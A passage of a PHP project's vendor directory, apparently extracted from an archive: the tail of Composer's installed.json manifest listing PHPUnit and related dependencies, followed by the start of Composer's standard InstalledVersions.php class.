"^1.12.1", "phpunit/php-code-coverage": "^9.2.13", "phpunit/php-file-iterator": "^3.0.5", "phpunit/php-invoker": "^3.1.1", "phpunit/php-text-template": "^2.0.3", "phpunit/php-timer": "^5.0.2", "sebastian/cli-parser": "^1.0.1", "sebastian/code-unit": "^1.0.6", "sebastian/comparator": "^4.0.5", "sebastian/diff": "^4.0.3", "sebastian/environment": "^5.1.3", "sebastian/exporter": "^4.0.3", "sebastian/global-state": "^5.0.1", "sebastian/object-enumerator": "^4.0.3", "sebastian/resource-operations": "^3.0.3", "sebastian/type": "^3.0", "sebastian/version": "^3.0.2" }, "require-dev": { "ext-pdo": "*", "phpspec/prophecy-phpunit": "^2.0.1" }, "suggest": { "ext-soap": "*", "ext-xdebug": "*" }, "time": "2022-04-01T12:37:26+00:00", "bin": [ "phpunit" ], "type": "library", "extra": { "branch-alias": { "dev-master": "9.5-dev" } }, "installation-source": "dist", "autoload": { "files": [ "src/Framework/Assert/Functions.php" ], "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "The PHP Unit Testing framework.", "homepage": "https://phpunit.de/", "keywords": [ "phpunit", "testing", "xunit" ], "support": { "issues": "https://github.com/sebastianbergmann/phpunit/issues", "source": "https://github.com/sebastianbergmann/phpunit/tree/9.5.20" }, "funding": [ { "url": "https://phpunit.de/sponsors.html", "type": "custom" }, { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../phpunit/phpunit" }, { "name": "psr/http-message", "version": "1.0.1", "version_normalized": "1.0.1.0", "source": { "type": "git", "url": "https://github.com/php-fig/http-message.git", "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-fig/http-message/zipball/f6561bf28d520154e4b0ec72be95418abe6d9363", "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363", "shasum": "" }, "require": { "php": ">=5.3.0" }, "time": "2016-08-06T14:39:51+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Http\\Message\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "PHP-FIG", "homepage": "http://www.php-fig.org/" } ], "description": "Common interface for HTTP messages", "homepage": "https://github.com/php-fig/http-message", "keywords": [ "http", "http-message", "psr", "psr-7", "request", "response" ], "support": { "source": "https://github.com/php-fig/http-message/tree/master" }, "install-path": "../psr/http-message" }, { "name": "psr/log", "version": "1.1.4", "version_normalized": "1.1.4.0", "source": { "type": "git", "url": "https://github.com/php-fig/log.git", "reference": "d49695b909c3b7628b6289db5479a1c204601f11" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11", "reference": "d49695b909c3b7628b6289db5479a1c204601f11", "shasum": "" }, "require": { "php": ">=5.3.0" }, "time": "2021-05-03T11:20:27+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Log\\": "Psr/Log/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "description": "Common interface for logging libraries", "homepage": "https://github.com/php-fig/log", "keywords": [ "log", "psr", "psr-3" ], "support": { "source": "https://github.com/php-fig/log/tree/1.1.4" }, "install-path": "../psr/log" }, { "name": "sebastian/cli-parser", "version": "1.0.1", "version_normalized": "1.0.1.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/cli-parser.git", "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/442e7c7e687e42adc03470c7b668bc4b2402c0b2", "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2020-09-28T06:08:49+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library for parsing CLI options", "homepage": "https://github.com/sebastianbergmann/cli-parser", "support": { "issues": "https://github.com/sebastianbergmann/cli-parser/issues", "source": "https://github.com/sebastianbergmann/cli-parser/tree/1.0.1" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/cli-parser" }, { "name": "sebastian/code-unit", "version": "1.0.8", "version_normalized": "1.0.8.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/code-unit.git", "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/code-unit/zipball/1fc9f64c0927627ef78ba436c9b17d967e68e120", "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2020-10-26T13:08:54+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Collection of value objects that represent the PHP code units", "homepage": "https://github.com/sebastianbergmann/code-unit", "support": { "issues": "https://github.com/sebastianbergmann/code-unit/issues", "source": "https://github.com/sebastianbergmann/code-unit/tree/1.0.8" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/code-unit" }, { "name": "sebastian/code-unit-reverse-lookup", "version": "2.0.3", "version_normalized": "2.0.3.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2020-09-28T05:30:19+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "2.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Looks up which function or method a line of code belongs to", "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", "support": { "issues": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/issues", "source": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/tree/2.0.3" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/code-unit-reverse-lookup" }, { "name": "sebastian/comparator", "version": "4.0.6", "version_normalized": "4.0.6.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/comparator.git", "reference": "55f4261989e546dc112258c7a75935a81a7ce382" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/55f4261989e546dc112258c7a75935a81a7ce382", "reference": "55f4261989e546dc112258c7a75935a81a7ce382", "shasum": "" }, "require": { "php": ">=7.3", "sebastian/diff": "^4.0", "sebastian/exporter": "^4.0" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2020-10-26T15:49:45+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "4.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Volker Dusch", "email": "github@wallbash.com" }, { "name": "Bernhard Schussek", "email": "bschussek@2bepublished.at" } ], "description": "Provides the functionality to compare PHP values for equality", "homepage": "https://github.com/sebastianbergmann/comparator", "keywords": [ "comparator", "compare", "equality" ], "support": { "issues": "https://github.com/sebastianbergmann/comparator/issues", "source": "https://github.com/sebastianbergmann/comparator/tree/4.0.6" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/comparator" }, { "name": "sebastian/complexity", "version": "2.0.2", "version_normalized": "2.0.2.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/complexity.git", "reference": "739b35e53379900cc9ac327b2147867b8b6efd88" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/739b35e53379900cc9ac327b2147867b8b6efd88", "reference": "739b35e53379900cc9ac327b2147867b8b6efd88", "shasum": "" }, "require": { "nikic/php-parser": "^4.7", "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2020-10-26T15:52:27+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "2.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library for calculating the complexity of PHP code units", "homepage": "https://github.com/sebastianbergmann/complexity", "support": { "issues": "https://github.com/sebastianbergmann/complexity/issues", "source": "https://github.com/sebastianbergmann/complexity/tree/2.0.2" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/complexity" }, { "name": "sebastian/diff", "version": "4.0.4", "version_normalized": "4.0.4.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/diff.git", "reference": "3461e3fccc7cfdfc2720be910d3bd73c69be590d" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/3461e3fccc7cfdfc2720be910d3bd73c69be590d", "reference": "3461e3fccc7cfdfc2720be910d3bd73c69be590d", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3", "symfony/process": "^4.2 || ^5" }, "time": "2020-10-26T13:10:38+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "4.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Kore Nordmann", "email": "mail@kore-nordmann.de" } ], "description": "Diff implementation", "homepage": "https://github.com/sebastianbergmann/diff", "keywords": [ "diff", "udiff", "unidiff", "unified diff" ], "support": { "issues": "https://github.com/sebastianbergmann/diff/issues", "source": "https://github.com/sebastianbergmann/diff/tree/4.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/diff" }, { "name": "sebastian/environment", "version": "5.1.4", "version_normalized": "5.1.4.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/environment.git", "reference": "1b5dff7bb151a4db11d49d90e5408e4e938270f7" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/1b5dff7bb151a4db11d49d90e5408e4e938270f7", "reference": "1b5dff7bb151a4db11d49d90e5408e4e938270f7", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "suggest": { "ext-posix": "*" }, "time": "2022-04-03T09:37:03+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "5.1-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Provides functionality to handle HHVM/PHP environments", "homepage": "http://www.github.com/sebastianbergmann/environment", "keywords": [ "Xdebug", "environment", "hhvm" ], "support": { "issues": "https://github.com/sebastianbergmann/environment/issues", "source": "https://github.com/sebastianbergmann/environment/tree/5.1.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/environment" }, { "name": "sebastian/exporter", "version": "4.0.4", "version_normalized": "4.0.4.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/exporter.git", "reference": "65e8b7db476c5dd267e65eea9cab77584d3cfff9" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/65e8b7db476c5dd267e65eea9cab77584d3cfff9", "reference": "65e8b7db476c5dd267e65eea9cab77584d3cfff9", "shasum": "" }, "require": { "php": ">=7.3", "sebastian/recursion-context": "^4.0" }, "require-dev": { "ext-mbstring": "*", "phpunit/phpunit": "^9.3" }, "time": "2021-11-11T14:18:36+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "4.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Volker Dusch", "email": "github@wallbash.com" }, { "name": "Adam Harvey", "email": "aharvey@php.net" }, { "name": "Bernhard Schussek", "email": "bschussek@gmail.com" } ], "description": "Provides the functionality to export PHP variables for visualization", "homepage": "https://www.github.com/sebastianbergmann/exporter", "keywords": [ "export", "exporter" ], "support": { "issues": "https://github.com/sebastianbergmann/exporter/issues", "source": "https://github.com/sebastianbergmann/exporter/tree/4.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/exporter" }, { "name": "sebastian/global-state", "version": "5.0.5", "version_normalized": "5.0.5.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/global-state.git", "reference": "0ca8db5a5fc9c8646244e629625ac486fa286bf2" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/0ca8db5a5fc9c8646244e629625ac486fa286bf2", "reference": "0ca8db5a5fc9c8646244e629625ac486fa286bf2", "shasum": "" }, "require": { "php": ">=7.3", "sebastian/object-reflector": "^2.0", "sebastian/recursion-context": "^4.0" }, "require-dev": { "ext-dom": "*", "phpunit/phpunit": "^9.3" }, "suggest": { "ext-uopz": "*" }, "time": "2022-02-14T08:28:10+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "5.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Snapshotting of global state", "homepage": "http://www.github.com/sebastianbergmann/global-state", "keywords": [ "global state" ], "support": { "issues": "https://github.com/sebastianbergmann/global-state/issues", "source": "https://github.com/sebastianbergmann/global-state/tree/5.0.5" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/global-state" }, { "name": "sebastian/lines-of-code", "version": "1.0.3", "version_normalized": "1.0.3.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/lines-of-code.git", "reference": "c1c2e997aa3146983ed888ad08b15470a2e22ecc" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/c1c2e997aa3146983ed888ad08b15470a2e22ecc", "reference": "c1c2e997aa3146983ed888ad08b15470a2e22ecc", "shasum": "" }, "require": { "nikic/php-parser": "^4.6", "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2020-11-28T06:42:11+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library for counting the lines of code in PHP source code", "homepage": "https://github.com/sebastianbergmann/lines-of-code", "support": { "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", "source": "https://github.com/sebastianbergmann/lines-of-code/tree/1.0.3" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/lines-of-code" }, { "name": "sebastian/object-enumerator", "version": "4.0.4", "version_normalized": "4.0.4.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/object-enumerator.git", "reference": "5c9eeac41b290a3712d88851518825ad78f45c71" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/5c9eeac41b290a3712d88851518825ad78f45c71", "reference": "5c9eeac41b290a3712d88851518825ad78f45c71", "shasum": "" }, "require": { "php": ">=7.3", "sebastian/object-reflector": "^2.0", "sebastian/recursion-context": "^4.0" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2020-10-26T13:12:34+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "4.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Traverses array structures and object graphs to enumerate all referenced objects", "homepage": "https://github.com/sebastianbergmann/object-enumerator/", "support": { "issues": "https://github.com/sebastianbergmann/object-enumerator/issues", "source": "https://github.com/sebastianbergmann/object-enumerator/tree/4.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/object-enumerator" }, { "name": "sebastian/object-reflector", "version": "2.0.4", "version_normalized": "2.0.4.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/object-reflector.git", "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2020-10-26T13:14:26+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "2.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Allows reflection of object attributes, including inherited and non-public ones", "homepage": "https://github.com/sebastianbergmann/object-reflector/", "support": { "issues": "https://github.com/sebastianbergmann/object-reflector/issues", "source": "https://github.com/sebastianbergmann/object-reflector/tree/2.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/object-reflector" }, { "name": "sebastian/recursion-context", "version": "4.0.4", "version_normalized": "4.0.4.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/recursion-context.git", "reference": "cd9d8cf3c5804de4341c283ed787f099f5506172" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/cd9d8cf3c5804de4341c283ed787f099f5506172", "reference": "cd9d8cf3c5804de4341c283ed787f099f5506172", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2020-10-26T13:17:30+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "4.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Adam Harvey", "email": "aharvey@php.net" } ], "description": "Provides functionality to recursively process PHP variables", "homepage": "http://www.github.com/sebastianbergmann/recursion-context", "support": { "issues": "https://github.com/sebastianbergmann/recursion-context/issues", "source": "https://github.com/sebastianbergmann/recursion-context/tree/4.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/recursion-context" }, { "name": "sebastian/resource-operations", "version": "3.0.3", "version_normalized": "3.0.3.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/resource-operations.git", "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/resource-operations/zipball/0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.0" }, "time": "2020-09-28T06:45:17+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "3.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Provides a list of PHP built-in functions that operate on resources", "homepage": "https://www.github.com/sebastianbergmann/resource-operations", "support": { "issues": "https://github.com/sebastianbergmann/resource-operations/issues", "source": "https://github.com/sebastianbergmann/resource-operations/tree/3.0.3" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/resource-operations" }, { "name": "sebastian/type", "version": "3.0.0", "version_normalized": "3.0.0.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/type.git", "reference": "b233b84bc4465aff7b57cf1c4bc75c86d00d6dad" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/b233b84bc4465aff7b57cf1c4bc75c86d00d6dad", "reference": "b233b84bc4465aff7b57cf1c4bc75c86d00d6dad", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.5" }, "time": "2022-03-15T09:54:48+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "3.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Collection of value objects that represent the types of the PHP type system", "homepage": "https://github.com/sebastianbergmann/type", "support": { "issues": "https://github.com/sebastianbergmann/type/issues", "source": "https://github.com/sebastianbergmann/type/tree/3.0.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/type" }, { "name": "sebastian/version", "version": "3.0.2", "version_normalized": "3.0.2.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/version.git", "reference": "c6c1022351a901512170118436c764e473f6de8c" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/c6c1022351a901512170118436c764e473f6de8c", "reference": "c6c1022351a901512170118436c764e473f6de8c", "shasum": "" }, "require": { "php": ">=7.3" }, "time": "2020-09-28T06:39:44+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "3.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library that helps with managing the version number of Git-hosted PHP projects", "homepage": "https://github.com/sebastianbergmann/version", "support": { "issues": "https://github.com/sebastianbergmann/version/issues", "source": "https://github.com/sebastianbergmann/version/tree/3.0.2" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../sebastian/version" }, { "name": "symfony/polyfill-ctype", "version": "v1.25.0", "version_normalized": "1.25.0.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-ctype.git", "reference": "30885182c981ab175d4d034db0f6f469898070ab" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/30885182c981ab175d4d034db0f6f469898070ab", "reference": "30885182c981ab175d4d034db0f6f469898070ab", "shasum": "" }, "require": { "php": ">=7.1" }, "provide": { "ext-ctype": "*" }, "suggest": { "ext-ctype": "For best performance" }, "time": "2021-10-20T20:35:02+00:00", "type": "library", "extra": { "branch-alias": { "dev-main": "1.23-dev" }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } }, "installation-source": "dist", "autoload": { "files": [ "bootstrap.php" ], "psr-4": { "Symfony\\Polyfill\\Ctype\\": "" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Gert de Pagter", "email": "BackEndTea@gmail.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "description": "Symfony polyfill for ctype functions", "homepage": "https://symfony.com", "keywords": [ "compatibility", "ctype", "polyfill", "portable" ], "support": { "source": "https://github.com/symfony/polyfill-ctype/tree/v1.25.0" }, "funding": [ { "url": "https://symfony.com/sponsor", "type": "custom" }, { "url": "https://github.com/fabpot", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], "install-path": "../symfony/polyfill-ctype" }, { "name": "theseer/tokenizer", "version": "1.2.1", "version_normalized": "1.2.1.0", "source": { "type": "git", "url": "https://github.com/theseer/tokenizer.git", "reference": "34a41e998c2183e22995f158c581e7b5e755ab9e" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/theseer/tokenizer/zipball/34a41e998c2183e22995f158c581e7b5e755ab9e", "reference": "34a41e998c2183e22995f158c581e7b5e755ab9e", "shasum": "" }, "require": { "ext-dom": "*", "ext-tokenizer": "*", "ext-xmlwriter": "*", "php": "^7.2 || ^8.0" }, "time": "2021-07-28T10:34:58+00:00", "type": "library", "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" } ], "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", "support": { "issues": "https://github.com/theseer/tokenizer/issues", "source": "https://github.com/theseer/tokenizer/tree/1.2.1" }, "funding": [ { "url": "https://github.com/theseer", "type": "github" } ], "install-path": "../theseer/tokenizer" }, { "name": "webmozart/assert", "version": "1.10.0", "version_normalized": "1.10.0.0", "source": { "type": "git", "url": "https://github.com/webmozarts/assert.git", "reference": "6964c76c7804814a842473e0c8fd15bab0f18e25" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/webmozarts/assert/zipball/6964c76c7804814a842473e0c8fd15bab0f18e25", "reference": "6964c76c7804814a842473e0c8fd15bab0f18e25", "shasum": "" }, "require": { "php": "^7.2 || ^8.0", "symfony/polyfill-ctype": "^1.8" }, "conflict": { "phpstan/phpstan": "<0.12.20", "vimeo/psalm": "<4.6.1 || 4.6.2" }, "require-dev": { "phpunit/phpunit": "^8.5.13" }, "time": "2021-03-09T10:59:23+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.10-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Webmozart\\Assert\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Bernhard Schussek", "email": "bschussek@gmail.com" } ], "description": "Assertions to validate method input/output with nice error messages.", "keywords": [ "assert", "check", "validate" ], "support": { "issues": "https://github.com/webmozarts/assert/issues", "source": "https://github.com/webmozarts/assert/tree/1.10.0" }, "install-path": "../webmozart/assert" } ], "dev": true, "dev-package-names": [ "doctrine/instantiator", "monolog/monolog", "myclabs/deep-copy", "nikic/php-parser", "phar-io/manifest", "phar-io/version", "phpdocumentor/reflection-common", "phpdocumentor/reflection-docblock", "phpdocumentor/type-resolver", "phpspec/prophecy", "phpunit/php-code-coverage", "phpunit/php-file-iterator", "phpunit/php-invoker", "phpunit/php-text-template", "phpunit/php-timer", "phpunit/phpunit", "sebastian/cli-parser", "sebastian/code-unit", "sebastian/code-unit-reverse-lookup", "sebastian/comparator", "sebastian/complexity", "sebastian/diff", "sebastian/environment", "sebastian/exporter", "sebastian/global-state", "sebastian/lines-of-code", "sebastian/object-enumerator", "sebastian/object-reflector", "sebastian/recursion-context", "sebastian/resource-operations", "sebastian/type", "sebastian/version", "symfony/polyfill-ctype", "theseer/tokenizer", "webmozart/assert" ] } res/readability/vendor/composer/InstalledVersions.php000064400000035234147577714370017170 0ustar00 * Jordi Boggiano * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer; use Composer\Autoload\ClassLoader; use Composer\Semver\VersionParser; /** * This class is copied in every Composer installed project and available to all * * See also https://getcomposer.org/doc/07-runtime.md#installed-versions * * To require its presence, you can require `composer-runtime-api ^2.0` * * @final */ class InstalledVersions { /** * @var mixed[]|null * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array}|array{}|null */ private static $installed; /** * @var bool|null */ private static $canGetVendors; /** * @var array[] * @psalm-var array}> */ private static $installedByVendor = array(); /** * Returns a list of all package names which are present, either by being installed, replaced or provided * * @return string[] * @psalm-return list */ public static function getInstalledPackages() { $packages = array(); foreach (self::getInstalled() as $installed) { $packages[] = array_keys($installed['versions']); } if (1 === \count($packages)) { return $packages[0]; } return 